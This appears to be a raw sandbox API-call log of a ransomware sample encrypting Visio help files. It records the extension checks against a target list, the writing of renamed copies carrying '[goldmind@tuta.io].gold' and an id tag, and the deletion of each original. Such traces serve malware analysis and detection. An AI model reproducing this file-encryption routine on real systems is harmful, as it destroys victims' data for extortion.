lstrlenW (lpString=".ppt") returned 4 [0107.495] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0107.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.495] lstrlenW (lpString=".zip") returned 4 [0107.495] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0107.495] lstrlenW (lpString=".rar") returned 4 [0107.495] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0107.495] lstrlenW (lpString=".bz2") returned 4 [0107.495] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0107.495] lstrlenW (lpString=".7z") returned 3 [0107.495] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0107.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.495] lstrlenW (lpString=".dbf") returned 4 [0107.495] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0107.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.495] lstrlenW (lpString=".1cd") returned 4 [0107.495] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0107.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.495] lstrlenW (lpString=".jpg") returned 4 [0107.495] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0107.495] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0107.495] lstrlenW (lpString="VISIO.DEV_COL.HXC") returned 17 [0107.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.496] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=641) returned 1 [0107.496] CloseHandle (hObject=0x3cc) returned 1 [0107.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc")) returned 0x20 [0107.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.496] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.496] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.497] GetLastError () returned 0x0 [0107.497] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x281, lpOverlapped=0x0) returned 1 [0107.502] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x290, lpOverlapped=0x0) returned 1 [0107.503] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.503] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0107.503] SetEndOfFile (hFile=0x3b0) returned 1 [0107.503] CloseHandle (hObject=0x3b0) returned 1 [0107.503] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.503] SetEndOfFile (hFile=0x3cc) returned 1 [0107.506] CloseHandle (hObject=0x3cc) returned 1 [0107.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc")) returned 1 [0107.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.643] lstrlenW (lpString=".doc") returned 4 [0107.643] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0107.643] lstrlenW (lpString=".docx") returned 5 [0107.643] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0107.643] lstrlenW (lpString=".pdf") returned 4 [0107.643] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0107.643] lstrlenW (lpString=".xls") returned 4 [0107.643] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0107.643] lstrlenW (lpString=".xlsx") returned 5 [0107.643] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0107.643] lstrlenW (lpString=".ppt") returned 4 [0107.643] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0107.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.643] lstrlenW (lpString=".zip") returned 4 [0107.643] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0107.643] lstrlenW (lpString=".rar") returned 4 [0107.643] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0107.643] lstrlenW (lpString=".bz2") returned 4 [0107.643] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0107.643] lstrlenW (lpString=".7z") returned 3 [0107.643] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0107.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.643] lstrlenW (lpString=".dbf") returned 4 [0107.643] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0107.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.643] lstrlenW (lpString=".1cd") returned 4 [0107.643] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0107.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.643] lstrlenW (lpString=".jpg") returned 4 [0107.643] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0107.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.643] lstrlenW (lpString=".doc") returned 4 [0107.643] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0107.643] lstrlenW (lpString=".docx") returned 5 [0107.643] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0107.643] lstrlenW (lpString=".pdf") returned 4 [0107.643] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0107.643] lstrlenW (lpString=".xls") returned 4 [0107.643] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0107.643] lstrlenW (lpString=".xlsx") returned 5 [0107.643] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0107.643] lstrlenW (lpString=".ppt") returned 4 [0107.643] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0107.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.643] lstrlenW (lpString=".zip") returned 4 [0107.644] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0107.644] lstrlenW (lpString=".rar") returned 4 [0107.644] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0107.644] lstrlenW (lpString=".bz2") returned 4 [0107.644] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0107.644] lstrlenW (lpString=".7z") returned 3 [0107.644] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0107.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.644] lstrlenW (lpString=".dbf") returned 4 [0107.644] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0107.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.644] lstrlenW (lpString=".1cd") returned 4 [0107.644] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0107.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0107.644] lstrlenW (lpString=".jpg") returned 4 [0107.644] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0107.644] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0107.644] lstrlenW (lpString="VISIO.DEV_F_COL.HXK") returned 19 [0107.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.644] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=114) returned 1 [0107.644] CloseHandle (hObject=0x3ac) returned 1 [0107.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 0x20 [0107.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.645] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.645] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.645] GetLastError () returned 0x0 [0107.645] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x72, lpOverlapped=0x0) returned 1 [0107.646] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0107.647] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.647] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0107.647] SetEndOfFile (hFile=0x394) returned 1 [0107.647] CloseHandle (hObject=0x394) returned 1 [0107.647] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.647] SetEndOfFile (hFile=0x3ac) returned 1 [0107.649] CloseHandle (hObject=0x3ac) returned 1 [0107.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 1 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.650] lstrlenW (lpString=".doc") returned 4 [0107.650] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.650] lstrlenW (lpString=".docx") returned 5 [0107.650] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.650] lstrlenW (lpString=".pdf") returned 4 [0107.650] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.650] lstrlenW (lpString=".xls") returned 4 [0107.650] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.650] lstrlenW (lpString=".xlsx") returned 5 [0107.650] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.650] lstrlenW (lpString=".ppt") returned 4 [0107.650] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.650] lstrlenW (lpString=".zip") returned 4 [0107.650] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.650] lstrlenW (lpString=".rar") returned 4 [0107.650] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.650] lstrlenW (lpString=".bz2") returned 4 [0107.650] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.650] lstrlenW (lpString=".7z") returned 3 [0107.650] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.650] lstrlenW (lpString=".dbf") returned 4 [0107.650] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.650] lstrlenW (lpString=".1cd") returned 4 [0107.650] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.650] lstrlenW (lpString=".jpg") returned 4 [0107.650] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.650] lstrlenW (lpString=".doc") returned 4 [0107.650] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.650] lstrlenW (lpString=".docx") returned 5 [0107.650] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.651] lstrlenW (lpString=".pdf") returned 4 [0107.651] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.651] lstrlenW (lpString=".xls") returned 4 [0107.651] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.651] lstrlenW (lpString=".xlsx") returned 5 [0107.651] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.651] lstrlenW (lpString=".ppt") returned 4 [0107.651] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.651] lstrlenW (lpString=".zip") returned 4 [0107.651] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.651] lstrlenW (lpString=".rar") returned 4 [0107.651] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.651] lstrlenW (lpString=".bz2") returned 4 [0107.651] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.651] lstrlenW (lpString=".7z") returned 3 [0107.651] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.651] lstrlenW (lpString=".dbf") returned 4 [0107.651] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.651] lstrlenW (lpString=".1cd") returned 4 [0107.651] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0107.651] lstrlenW (lpString=".jpg") returned 4 [0107.651] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.651] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0107.651] lstrlenW (lpString="VISIO.DEV_K_COL.HXK") returned 19 [0107.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.652] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=113) returned 1 [0107.652] CloseHandle (hObject=0x3ac) returned 1 [0107.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 0x20 [0107.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.652] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.652] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.653] GetLastError () returned 0x0 [0107.653] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x71, lpOverlapped=0x0) returned 1 [0107.653] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0107.654] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.654] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0107.654] SetEndOfFile (hFile=0x394) returned 1 [0107.654] CloseHandle (hObject=0x394) returned 1 [0107.654] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.654] SetEndOfFile (hFile=0x3ac) returned 1 [0107.656] CloseHandle (hObject=0x3ac) returned 1 [0107.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 1 [0107.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.658] lstrlenW (lpString=".doc") returned 4 [0107.658] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.658] lstrlenW (lpString=".docx") returned 5 [0107.658] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.658] lstrlenW (lpString=".pdf") returned 4 [0107.658] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString=".xls") returned 4 [0107.658] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString=".xlsx") returned 5 [0107.658] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.658] lstrlenW (lpString=".ppt") returned 4 [0107.658] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.658] lstrlenW (lpString=".zip") returned 4 [0107.658] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString=".rar") returned 4 [0107.658] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString=".bz2") returned 4 [0107.658] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.658] lstrlenW (lpString=".7z") returned 3 [0107.658] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.658] lstrlenW (lpString=".dbf") returned 4 [0107.658] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.658] lstrlenW (lpString=".1cd") returned 4 [0107.658] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.658] lstrlenW (lpString=".jpg") returned 4 [0107.658] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.658] lstrlenW (lpString=".doc") returned 4 [0107.658] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.658] lstrlenW (lpString=".docx") returned 5 [0107.658] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.658] lstrlenW (lpString=".pdf") returned 4 [0107.658] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString=".xls") returned 4 [0107.658] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString=".xlsx") returned 5 [0107.658] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.658] lstrlenW (lpString=".ppt") returned 4 [0107.658] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.658] lstrlenW (lpString=".zip") returned 4 [0107.658] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.658] lstrlenW (lpString=".rar") returned 4 [0107.659] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.659] lstrlenW (lpString=".bz2") returned 4 [0107.659] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.659] lstrlenW (lpString=".7z") returned 3 [0107.659] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 